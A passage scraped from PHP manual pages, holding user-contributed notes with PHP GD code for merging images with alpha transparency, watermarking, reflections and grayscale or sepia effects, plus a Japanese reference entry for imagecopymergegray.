    imagecopymerge ($resImage, $image, 0, 0, 0, 0, $w, $h, 100);

    return $resImage;
}

?>
thciobanu 09-Mar-2011 12:56
This is what I use for merging two images while respecting the alpha channel (formulas are taken from the wikipedia article on alpha compositing; they're not too pretty as I didn't really try to make them look so, but instead just work and make sense when checked out months from now), with a quirk - an additional parameter (that defaults to NULL to be ignored) to manually specify a "transparent" color, which won't be copied over from the source to the destination. In comparison to the other implementation here, only one pass over $src_im is done, but more calculations are performed:

<?php
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, $trans = NULL)
{
  $dst_w = imagesx($dst_im);
  $dst_h = imagesy($dst_im);

  // bounds checking
  $src_x = max($src_x, 0);
  $src_y = max($src_y, 0);
  $dst_x = max($dst_x, 0);
  $dst_y = max($dst_y, 0);
  if ($dst_x + $src_w > $dst_w)
    $src_w = $dst_w - $dst_x;
  if ($dst_y + $src_h > $dst_h)
    $src_h = $dst_h - $dst_y;

  for($x_offset = 0; $x_offset < $src_w; $x_offset++)
    for($y_offset = 0; $y_offset < $src_h; $y_offset++)
    {
      // get source & dest color
      $srccolor = imagecolorsforindex($src_im, imagecolorat($src_im, $src_x + $x_offset, $src_y + $y_offset));
      $dstcolor = imagecolorsforindex($dst_im, imagecolorat($dst_im, $dst_x + $x_offset, $dst_y + $y_offset));

      // apply transparency
      if (is_null($trans) || ($srccolor !== $trans))
      {
        $src_a = $srccolor['alpha'] * $pct / 100;
        // blend
        $src_a = 127 - $src_a;
        $dst_a = 127 - $dstcolor['alpha'];
        $dst_r = ($srccolor['red'] * $src_a + $dstcolor['red'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_g = ($srccolor['green'] * $src_a + $dstcolor['green'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_b = ($srccolor['blue'] * $src_a + $dstcolor['blue'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_a = 127 - ($src_a + $dst_a * (127 - $src_a) / 127);
        $color = imagecolorallocatealpha($dst_im, $dst_r, $dst_g, $dst_b, $dst_a);
        // paint
        if (!imagesetpixel($dst_im, $dst_x + $x_offset, $dst_y + $y_offset, $color))
          return false;
        imagecolordeallocate($dst_im, $color);
      }
    }
  return true;
}

// use it like this (identical to imagecopymerge)
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct)
// or this
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, array('red' => 1, 'green' => 2, 'blue' => 3, 'alpha' =>4))
?>
killing_wombles0000 at hotmail dot com 17-Feb-2011 09:27
Anyone wanting to create a reflecion of an image. Simple process that copies, line by line, from the bottom of the image, a given number of pixels. Each line gets gradually more transparent. Outputs PNG to screen.

This is pretty hot-coded - all four input variables (input image, reflection height, starting transparency, gap between image and reflection) are set manually here.

<?php
    $in = imagecreatefromjpeg('C:\test.jpg');
    $reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
    $reflection_height = 40;        //     height of reflection in pixels
    $gap = 10;                        //    gap between image and reflection

    $orig_height = imagesy($in);                                //    store height of original image
    $orig_width = imagesx($in);                                    //    store height of original image
    $output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

    // create new image to use for output. fill with transparency. ALPHA BLENDING MUST BE FALSE
    $out = imagecreatetruecolor($orig_width, $output_height);
    imagealphablending($out, false);
    $bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
    imagefill($out, 0, 0, $bg);
    imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg1);

    // copy original image onto new one, leaving space underneath for reflection and 'gap'
    imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

     // create new single-line image to act as buffer while applying transparency
    $reflection_section = imagecreatetruecolor(imagesx($in), 1);
    imagealphablending($reflection_section, false);
    $bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
    imagefill($reflection_section, 0, 0, $bg1);

    // 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
    // 2. set transparency to vary between reflection_strength and 127
    // 3. copy line back to mirrored position in original
    for ($y = 0; $y<$reflection_height;$y++)
    {
        $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
        imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
        imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
        imagecopyresized($out, $reflection_section, $a, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - (2*$a), 1, imagesx($in), 1);
    }

    // output image to view
    header('Content-type: image/png');
    imagesavealpha($out,true);
    imagepng($out);
?>
Sina Salek 09-Aug-2009 01:26
I've just checked PHP's issue tracker and a core developer says that this function was never meant to support alpha channel! and they refused to commit the provided patch! so ridicules
Anyway i tried rodrigo's workaround and it worked quite well, thanks rodrigo for sharing it.
I came up with another idea which is much faster than his solution, (it may need a little bit more memory)

Hope it helps someone.

<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * by Sina Salek
 *
 * Bugfix by Ralph Voigt (bug which causes it
 * to work only for $src_x = $src_y = 0.
 * Also, inverting opacity is not necessary.)
 * 08-JAN-2011
 *
 **/
    function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
        // creating a cut resource
        $cut = imagecreatetruecolor($src_w, $src_h);

        // copying relevant section from background to the cut resource
        imagecopy($cut, $dst_im, 0, 0, $dst_x, $dst_y, $src_w, $src_h);

        // copying relevant section from watermark to the cut resource
        imagecopy($cut, $src_im, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // insert cut resource to destination image
        imagecopymerge($dst_im, $cut, $dst_x, $dst_y, 0, 0, $src_w, $src_h, $pct);
    }

?>
santin1991[at]gmail[dot]com 23-Apr-2009 04:16
Add logo on image script.
<?php
/**
 * Put logo on low right jpeg image
 * used stefan's script for position
 **/
$logo_file = "logo.png";
$image_file = "img.jpg";
$targetfile = "img2.jpg";
$photo = imagecreatefromjpeg($image_file);
$fotoW = imagesx($photo);
$fotoH = imagesy($photo);
$logoImage = imagecreatefrompng($logo_file);
$logoW = imagesx($logoImage);
$logoH = imagesy($logoImage);
$photoFrame = imagecreatetruecolor($fotoW,$fotoH);
$dest_x = $fotoW - $logoW;
$dest_y = $fotoH - $logoH;
imagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH);
imagecopy($photoFrame, $logoImage, $dest_x, $dest_y, 0, 0, $logoW, $logoH);
imagejpeg($photoFrame, $targetfile);
echo '<img src="'.$targetfile.'" />';
?>
rodrigo dot polo at gmail dot com 25-Jan-2009 02:52
<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * This is a function like imagecopymerge but it handle alpha channel well!!!
 **/

// A fix to get a function like imagecopymerge WITH ALPHA SUPPORT
// Main script by aiden dot mail at freemail dot hu
// Transformed to imagecopymerge_alpha() by rodrigo dot polo at gmail dot com
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
    if(!isset($pct)){
        return false;
    }
    $pct /= 100;
    // Get image width and height
    $w = imagesx( $src_im );
    $h = imagesy( $src_im );
    // Turn alpha blending off
    imagealphablending( $src_im, false );
    // Find the most opaque pixel in the image (the one with the smallest alpha value)
    $minalpha = 127;
    for( $x = 0; $x < $w; $x++ )
    for( $y = 0; $y < $h; $y++ ){
        $alpha = ( imagecolorat( $src_im, $x, $y ) >> 24 ) & 0xFF;
        if( $alpha < $minalpha ){
            $minalpha = $alpha;
        }
    }
    //loop through image pixels and modify alpha for each
    for( $x = 0; $x < $w; $x++ ){
        for( $y = 0; $y < $h; $y++ ){
            //get current alpha value (represents the TANSPARENCY!)
            $colorxy = imagecolorat( $src_im, $x, $y );
            $alpha = ( $colorxy >> 24 ) & 0xFF;
            //calculate new alpha
            if( $minalpha !== 127 ){
                $alpha = 127 + 127 * $pct * ( $alpha - 127 ) / ( 127 - $minalpha );
            } else {
                $alpha += 127 * $pct;
            }
            //get the color index with new alpha
            $alphacolorxy = imagecolorallocatealpha( $src_im, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
            //set pixel with the new color + opacity
            if( !imagesetpixel( $src_im, $x, $y, $alphacolorxy ) ){
                return false;
            }
        }
    }
    // The image copy
    imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h);
}

// USAGE EXAMPLE:
$img_a = imagecreatefrompng('image1.png');
$img_b = imagecreatefrompng('wm2.png');

// SAME COMMANDS:
imagecopymerge_alpha($img_a, $img_b, 10, 10, 0, 0, imagesx($img_b), imagesy($img_b),50);

// OUTPUT IMAGE:
header("Content-Type: image/png");
imagesavealpha($img_a, true);
imagepng($img_a, NULL);
?>
gigitrix 03-Sep-2008 06:01
Some highly amusing stuff: This code appears normal and is a way to cut out slices of an image randomly.

<?php
header("Content-Type: image/jpeg");
$width=837;
$height=771;
$origim = imagecreatefromjpeg("theimage.jpeg"); /* Attempt to open */
$imagetodisplay=imagecreate($width, $height);

for($i=0;$i<=100;$i++)
{
$xPos=rand(0,$width-9);
$yPos=rand(0,$height-9);
imagecopy($imagetodisplay, $origim, $xPos, $yPos , $xPos, $yPos , 10  , 10);
}

imagejpeg($imagetodisplay);
imagedestroy($imagetodisplay);
imagedestroy($origim);
?>

Try running this however and an omitted detail adds to the fun. Since the first colour that is defined is taken to be the background colour, we have a random colour selected from $origim as the background colour for $imagetodisplay, but this random colour is weighted according to the background image. It was a surprise (I thought the bg would be black) but I am now keeping it as it looks good.
Al 09-Jul-2007 07:23
Check your header... He is false...

<?php
header("Content-Type: image/png");
?>
jay at zylex dot net dot nz 24-Feb-2007 03:45
Hi
i wrote this script to add a watermark image into the bottom right a larger image. Its very basic i know but its all i need for now. It also is an easy function for noobs to grasp. It just takes an two image types as arguments

for example
$image = imagecreatefromjpeg("FILELOCATION");
$insert = imagecreatefrompng("WATERMARKFILELOCATION");
$image = image_overlap($image, $insert);

function image_overlap($background, $foreground){
   $insertWidth = imagesx($foreground);
   $insertHeight = imagesy($foreground);

   $imageWidth = imagesx($background);
   $imageHeight = imagesy($background);

   $overlapX = $imageWidth-$insertWidth-5;
   $overlapY = $imageHeight-$insertHeight-5;
               imagecolortransparent($foreground,
imagecolorat($foreground,0,0));                imagecopymerge($background,$foreground,
$overlapX,$overlapY,0,0,$insertWidth,$insertHeight,100);   return $background;
    }

It doesnt smooth the edges between the two images but it works easily.
jylyn at hotmail dot com 22-Feb-2006 01:49
A few corrections to the code supplied by nick at prient:

$iTemplate should be $iBackground
$iWorking should be $iSource

After fixing those two I found the script really useful, thanks!
nick at prient dot co dot uk 01-Nov-2005 02:15
Task: Rotate a large image, then reduce it in size and place it on a small background (i.e. as an Inset).

Problem: If you resize the image first, the rotation becomes hugely aliased...  So, it makes sense to rotate it first, then shrink it.
Unfortunately, when you resample the image, you lose the background color (at least, some of it may change), so you can no longer set transparancy as you require.  If instead you resize the image (rather than resample), again, the aliasing looks bad.

Solution:  Resize the background - make it bigger.  Then add the original (large) inset, and resize the whole thing back to normal.

<?php
/* We will shrink the inset to 25% */
$resizePercentage = 0.25;

/* Load a source image and a background */
$iSource = ImageCreateFromJpeg($source_file);
$iBackground = ImageCreateFromJpeg($background_file);

/* Do something here, such a rotate, skew etc */
...
/* Assume $iSource is still the image we want to insert onto the background */

/* Set the background color to be transparent */
$cBackground = ImageColorClosest($iSource, 255, 0, 255);
ImageColorTransparent($iSource, $cBackground);

/* Resize the background - make it huge */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) / $resizePercentage, ImageSY($iBackground ) / $resizePercentage);
/* Place the image on the background - all full size, so no aliasing issues */
ImageCopyMerge($iBackground , $iSource,
    ((ImageSX($iBackground ) - ImageSX($iSource)) / 2),
    ((ImageSY($iBackground ) - ImageSY($iSource)) / 2) - 25, 0, 0, ImageSX($iWorking), ImageSY($iSource), 100);
/* Shrink the combined image... no issues with transparancy! */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) * $resizePercentage, ImageSY($iBackground ) * $resizePercentage);

/* Output the image as a PNG */
header("Content-Type: image/png");
ImagePng($iBackground);
exit();

function ImageResize($pImage, $t_width, $t_height) {
  // Target image
  $iCanvas = @ImageCreateTrueColor($t_width, $t_height);
  // Source dimensions
  $s_width = ImageSX($pImage);
  $s_height = ImageSY($pImage);
  // Copy image
  ImageCopyResampled($iCanvas, $pImage, 0, 0, 0, 0, $t_width, $t_height, $s_width, $s_height);
  // Return image
  return $iCanvas;
}
?>
Ascent [at] WebAQ.com 24-May-2005 02:41
First you need make 0~9 gif format images and background image.

<?php
/*
make random image number check
20050524 by ascent WebAQ.com
*/

$rands = rand(1000,9999);

session_start();
$_SESSION['random_image_number_check'] = $rands;

$bg = './random_image_bg.jpg';
$numimgp = './random_image_number_%d.gif';

$numimg1 = sprintf($numimgp,substr($rands,0,1));
$numimg2 = sprintf($numimgp,substr($rands,1,1));
$numimg3 = sprintf($numimgp,substr($rands,2,1));
$numimg4 = sprintf($numimgp,substr($rands,3,1));
$ys1 = rand(-4,4);
$ys2 = rand(-4,4);
$ys3 = rand(-4,4);
$ys4 = rand(-4,4);

$bgImg = imageCreateFromJPEG($bg);
$nmImg1 = imageCreateFromGIF($numimg1);
$nmImg2 = imageCreateFromGIF($numimg2);
$nmImg3 = imageCreateFromGIF($numimg3);
$nmImg4 = imageCreateFromGIF($numimg4);
imageCopyMerge($bgImg, $nmImg1, 10, $ys1, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg2, 30, $ys2, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg3, 50, $ys3, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg4, 70, $ys4, 0, 0, 20, 30, 50);
header("Content-type: image/jpg");
ImageJPEG($bgImg,"",100);
imagedestroy($bgImg);
imagedestroy($nmImg1);
imagedestroy($nmImg2);
imagedestroy($nmImg3);
imagedestroy($nmImg4);
?>

enjoy!
Steve 23-May-2005 11:03
Building upon backglancer's and stefan's posts below, the following script will lay a 24-bit PNG watermark over any image.

To prepare a 24-bit watermark, I recommend creating a white logo or text over a transparent background in Photoshop.  Save this as a 24-bit PNG via 'Save for the Web...'.  Be sure to set the transparency of the logo layer in Photoshop itself.  30-40% is a good setting.

Once the assets are prepared, throw the full or relative server paths at the watermark function below:

/******************************************************************/

function watermark($sourcefile, $watermarkfile) {

    #
    # $sourcefile = Filename of the picture to be watermarked.
    # $watermarkfile = Filename of the 24-bit PNG watermark file.
    #

    //Get the resource ids of the pictures
    $watermarkfile_id = imagecreatefrompng($watermarkfile);

    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);

    $fileType = strtolower(substr($sourcefile, strlen($sourcefile)-3));

    switch($fileType) {
        case('gif'):
            $sourcefile_id = imagecreatefromgif($sourcefile);
            break;

        case('png'):
            $sourcefile_id = imagecreatefrompng($sourcefile);
            break;

        default:
            $sourcefile_id = imagecreatefromjpeg($sourcefile);
    }

    //Get the sizes of both pix
  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);
  $watermarkfile_width=imageSX($watermarkfile_id);
  $watermarkfile_height=imageSY($watermarkfile_id);

    $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 );
    $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 );

    // if a gif, we have to upsample it to a truecolor image
    if($fileType == 'gif') {
        // create an empty truecolor container
        $tempimage = imagecreatetruecolor($sourcefile_width,
                                                                            $sourcefile_height);

        // copy the 8-bit gif into the truecolor image
        imagecopy($tempimage, $sourcefile_id, 0, 0, 0, 0,
                            $sourcefile_width, $sourcefile_height);

        // copy the source_id int
        $sourcefile_id = $tempimage;
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0,
                        $watermarkfile_width, $watermarkfile_height);

    //Create a jpeg out of the modified picture
    switch($fileType) {

        // remember we don't need gif any more, so we use only png or jpeg.
        // See the upsaple code immediately above to see how we handle gifs
        case('png'):
            header("Content-type: image/png");
            imagepng ($sourcefile_id);
            break;

        default:
            header("Content-type: image/jpg");
            imagejpeg ($sourcefile_id);
    }

    imagedestroy($sourcefile_id);
    imagedestroy($watermarkfile_id);

}
backglancer in the hotmail 17-May-2005 02:44
I was about to kill myself....
any one of you trying to merge a SEMI transparent png...
use imagecopy   :)
<?
$flag = imagecreatefrompng('flags/images/flagWhiteFill.png');
$mask = imagecreatefrompng('flags/images/flag_transparent.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);

imagecopy($flag, $mask, 0,0,0,0,25,43);

Header("Content-type: image/jpeg");
imagepng($flag);
?>

ImageSaveAlpha(resource, bool);   made the transparent color - not transparent... dunno why :)
barbarina_sv at libero dot it 17-May-2005 01:55
I needed to draw a "pointer" image over a map, but had some problems with png image transparency.
So I created a png image with white background (not transparent) and merged it on my map, after defining white color as transparent:

<?php

$src_file = 'source.jpg';
list($src_w, $src_h, $src_t, $src_a) = getimagesize($src_file);

$ptr_file = 'pointer.png'; // must have no transparency, but white background
list($ptr_w, $ptr_h, $ptr_t, $ptr_a) = getimagesize($ptr_file);

// destination image dimensions:
$dst_w = 400;
$dst_h = 200;

// pointer position:
$ptr_x = 195;
$ptr_y = 70;

$srcImage = imageCreateFromJpeg($src_file) or die ('failed imageCreateFromJpg');
$dstImage = imageCreateTrueColor($dst_w, $dst_h) or die ('failed imageCreateTrueColor');

imageCopyResampled($dstImage, $srcImage, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h) or die ('failed imageCopyResampled');

$ptrImage = imageCreateFromPng($ptr_file) or die ('failed imageCreateFromPng');

$ptr_white = imageColorAllocate($ptrImage,255,255,255);
imageColorTransparent($ptrImage,$ptr_white);

imageCopyMerge($dstImage, $ptrImage, $ptr_x, $ptr_y, 0, 0, $ptr_w, $ptr_h, 100) or die ('failed imageCopyMerge');

imageJpeg($dstImage,'',100) or die ('failed imageJpeg');

imageDestroy($srcImage) or die ('failed imageDestroy(1)');
imageDestroy($dstImage) or die ('failed imageDestroy(2)');
imageDestroy($ptrImage) or die ('failed imageDestroy(3)');

?>
jtacon at php dot net 14-Dec-2004 05:36
This example shows how to use imageCopyMerge to create a water mark function with four random positions (the corners).

<?php
function waterMark($fileInHD, $wmFile, $transparency = 50, $jpegQuality = 90, $margin = 5) {

 $wmImg   = imageCreateFromGIF($wmFile);
 $jpegImg = imageCreateFromJPEG($fileInHD);

 // Water mark random position
 $wmX = (bool)rand(0,1) ? $margin : (imageSX($jpegImg) - imageSX($wmImg)) - $margin;
 $wmY = (bool)rand(0,1) ? $margin : (imageSY($jpegImg) - imageSY($wmImg)) - $margin;

 // Water mark process
 imageCopyMerge($jpegImg, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg), $transparency);

 // Overwriting image
 ImageJPEG($jpegImg, $fileInHD, $jpegQuality);
}

waterMark('myImage.jpg','waterMark.gif');

?>

HTH.

Javier Tac?n.
claudio dot gaetani at gdldesign dot it 09-May-2004 11:04
This function is intended to serve as an example for the "imageCopyMerge"-"ImageCopyResized", "ImageColorTransparent" functions.
I hope it will help.
This function pick an image, square cut it resampled at the size requested and finishing merge the result with another one to obtain a circular image result. I have a problem to obtain an thumbnail that respect the colors and at the same time where cutted in a circular form, I hope this solution can gives you a clue to obtain a free form images, I use this one also to create multicutted images.

<?php
$generalsrc="$image"; //the image to resample, resize and iconaize
$final_thumbwidth ="125";
$final_thumbheight ="125";

$abc = imagecreatefromjpeg("$generalsrc");
$def = imagecreatetruecolor($final_thumbwidth, $final_thumbheight);
$src_mx = round((imagesx($abc) / 2)-"0.1"); // middle x point of the image
$src_my = round((imagesy($abc) / 2)-"0.1"); // middle y point of the image
$src_x = ($src_mx * 2);
$src_y = ($src_my * 2);
$src_sq = ($src_x >= $src_y)?$src_y:$src_x; //used to define the best size for a square cut of the image
$pl = ($src_x >= $src_y)?"1":"2"; //define if the image is portait or landscape
$strt_pntx = ($pl=="1")?round(($src_my / 2)-"0. 1"):"0";  //defines the x start point
$strt_pnty = ($pl=="2")?round(($src_mx / 2)-"0. 1"):"0";  //defines the y start point

imagecopyresized($def, $abc, 0, 0, $strt_pntx, $strt_pnty, $final_thumbwidth, $final_thumbheight, $src_sq, $src_sq);

$overlay_img = imagecreatefromPNG("circle_125.png"); //NOTE use png for this
$src_w = "ImageSX($overlay_img)";
$src_h  = "ImageSY($overlay_img)";

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($overlay_img, 0, 0, 0);

ImageColorTransparent($overlay_img , $black);

imagecopy($can_img, $def, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $overlay_img , 0,0,0,0, ImageSX($overlay_img), ImageSY($overlay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,"merge_$generalsrc",100);

imagedestroy($overlay_img);
imagedestroy($can_img);
ImageDestroy($abc);
ImageDestroy($def);

print "<HTML><HEAD><TITLE>test</TITLE></HEAD><BODY>
original:<hr><img src=\"$generalsrc\" width=\"300\"><br><br><br>new:<hr><img src=\"merge_$generalsrc\">
<br>width = $src_x
<br>height = $src_y
<br>mdlw = $src_mx
<br>mdlh = $src_my
<br>sqr = $src_sq
<br>pl = $pl
<br>start point x = $strt_pntx
<br>start point y = $strt_pnty
</BODY></HTML>";
?>
bjorn AT smokingmedia DOT com 26-May-2003 11:10
in addition to stefan's posting:

i found that if you use imagecopymerge with png-24 files with an alpha channel, it doesn't work use imagecopy instead.
it seems that imagecopymerge doesn't respect the alpha channel the way it should (a bug??).

some sample code here to place an image (image.png) on a backgroundcolor or backgroundimage.

<?php

$im = "image.png";
$bg = "ffddee";     // hex representation of the color (i.e. #ffffff for white)
$out = "png";       // or "jpg" for jpg file output
// $backgroundfile = "";  // optional backgroundfile if you don't want to use a color

//
// function to convert hex colorcode to decimal
//

function colordecode($hex){

   $code[r] = hexdec(substr($hex, 0 ,2));
   $code[g] = hexdec(substr($hex, 2 ,2));
   $code[b] = hexdec(substr($hex, 4 ,2));

   return $code;

} // end func colordecode

// create the resource id
$image_id = imageCreateFromPNG($im);

// get image size
$im_X = ImageSX($image_id);
$im_Y = ImageSY($image_id);

// create a truecolor background image of the right size
// or use a background image like this
// $backgroundimage = imageCreateFromPNG($backgroundfile);
$backgroundimage = imagecreatetruecolor($im_X, $im_Y);

// get the desired backgroundcolor:
// don't use this if you want to use a background image
$code = colordecode($bg);
$backgroundcolor = ImageColorAllocate($backgroundimage, $code[r], $code[g], $code[b]);
ImageFilledRectangle($backgroundimage, 0, 0, $im_X, $im_Y, $backgroundcolor);

// merge the two together with alphablending on!
ImageAlphaBlending($backgroundimage, true);
imagecopy($backgroundimage, $image_id, 0, 0, 0, 0, $im_X, $im_Y);

// output the image:
if($output == "jpg"){
   Header( "Content-type: image/jpeg");
   ImageJPEG($backgroundimage);
   }
   else{
       Header( "Content-type: image/png");
       ImagePNG($backgroundimage);
       }

// destroy the memory
ImageDestroy($backgroundimage);
ImageDestroy($image_id);
?>
jonny at sanriowasteland dot net 29-Sep-2002 05:36
If you need to merge 2 png's (or  presumably 2 gifs) with different color palettes, I have found this is the function to use.  Just set pct to 99, and you are rocking.  With pct set to 100, or imagecopy for that matter, the palette seems to go wonky.  (It probably just uses the palette of the source image. but don't quote me on that).
stefan dot wehowsky at profilschmiede dot de 26-Jul-2001 09:32
This function is intended to serve as an example for the "imageCopyMerge"-function.
I hope it will help some of the less experienced php-coders here.
I wrote it to mark objects of a real estate broker as "sold" by copying the "sold"-picture right into the picture of the house.

<?php

//$sourcefile = Filename of the picture into that $insertfile will be inserted.
//$insertfile = Filename of the picture that is to be inserted into $sourcefile.
//$targetfile = Filename of the modified picture.
//$transition = Intensity of the transition (in percent)
//$pos          = Position where $insertfile will be inserted in $sourcefile
//                0 = middle
//                1 = top left
//                2 = top right
//                3 = bottom right
//                4 = bottom left
//                5 = top middle
//                6 = middle right
//                7 = bottom middle
//                8 = middle left
//
//
function mergePix($sourcefile,$insertfile, $targetfile, $pos=0,$transition=50)
{

//Get the resource id?s of the pictures
    $insertfile_id = imageCreateFromJPEG($insertfile);
    $sourcefile_id = imageCreateFromJPEG($sourcefile);

//Get the sizes of both pix
    $sourcefile_width=imageSX($sourcefile_id);
    $sourcefile_height=imageSY($sourcefile_id);
    $insertfile_width=imageSX($insertfile_id);
    $insertfile_height=imageSY($insertfile_id);

//middle
    if( $pos == 0 )
    {
        $dest_x = ( $sourcefile_width / 2 ) - ( $insertfile_width / 2 );
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//top left
    if( $pos == 1 )
    {
        $dest_x = 0;
        $dest_y = 0;
    }

//top right
    if( $pos == 2 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = 0;
    }

//bottom right
    if( $pos == 3 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//bottom left
    if( $pos == 4 )
    {
        $dest_x = 0;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//top middle
    if( $pos == 5 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = 0;
    }

//middle right
    if( $pos == 6 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//bottom middle
    if( $pos == 7 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//middle left
    if( $pos == 8 )
    {
        $dest_x = 0;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//The main thing : merge the two pix
    imageCopyMerge($sourcefile_id, $insertfile_id,$dest_x,$dest_y,0,0,$insertfile_width,$insertfile_height,$transition);

//Create a jpeg out of the modified picture
    imagejpeg ($sourcefile_id,"$targetfile");

}


グレースケールでイメージの一部をコピー、マージする

  • ≪ imagecopymerge
  • imagecopyresampled ≫
  • PHP Manual
  • GD および Image 関数
  • グレースケールでイメージの一部をコピー、マージする

imagecopymergegray

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecopymergegray — グレースケールでイメージの一部をコピー、マージする

説明

imagecopymergegray ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct ) : bool

imagecopymergegray() は、 src_im の X,Y座標 src_x, src_y から 始まる幅src_w、高さ src_h の領域を dst_imにコピーします。 定義された部分は、x、y座標dst_x、 dst_yにコピーされます。

この関数は imagecopymerge() と同じですが、マー ジをする際に、コピー前にコピー先のピクセルをグレースケールに変換 することにより、コピー先のピクセルをコピー元の色相を維持するとこ ろが異なります。

パラメータ

dst_im

コピー先の画像リソース。

src_im

コピー元の画像リソース。

dst_x

コピー先の x 座標。

dst_y

コピー先の y 座標。

src_x

コピー元の x 座標。

src_y

コピー元の y 座標。

src_w

コピー元の幅。

src_h

コピー元の高さ。

pct

src_im が pct にしたがってグレースケールに変換されます。 pct が 0 の場合は完全なグレースケール、 100 の場合は何も変わらない状態となります。 pct = 100 の場合、パレット画像に対してはこの関数は imagecopy() と同じ動作となります (アルファコンポーネントを無視する点だけが違います)。 一方 true color 画像については、この関数はアルファ透過度を実装しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagecopymergegray() の使用法

<?php
// 画像のインスタンスを作成します
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// コピー・マージ (Gray = 20%) します
imagecopymergegray($dest, $src, 10, 10, 0, 0, 100, 47, 20);

// 出力してメモリから解放します
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

anonymous at domain dot com 16-Oct-2009 03:54
grayscale conversion is built-in with imagefilter().

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>

you could create the sepia effect by the following:

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);
     imagefilter($image, IMG_FILTER_COLORIZE, 112, 66, 20);
     //Wikipedia RGB definition of sepia

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>
amezghal at msn dot com 09-May-2008 05:59
gray effect :)
<?php
header('content-type:image/png');
$url_img = 'my_image.png';
$img = imagecreatefrompng($url_img);
$x = imagesx($img);
$y = imagesy($img);
$gray_img = imagecreatetruecolor($x, $y);
imagecolorallocate($gray_img, 0, 0, 0);
for ($i = 0; $i < $x; $i++) {
  for ($j = 0; $j < $y; $j++) {
    $rgb = imagecolorat($img, $i, $j);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
     //for gray mode $r = $g = $b
    $color = max(array($r, $g, $b));
    $gray_color = imagecolorexact($new_img, $color, $color,   $color);
     imagesetpixel($gray_img, $i, $j, $gray_color);
   }
}
?>
szamil at ginf dot pl 15-Apr-2007 02:17
I've changed a little switch251's code and here we have sephia effect
<?php
   // replace with your files
    $originalFileName    = $filename;
    $destinationFileName = "2".$filename;

    // create a copy of the original image
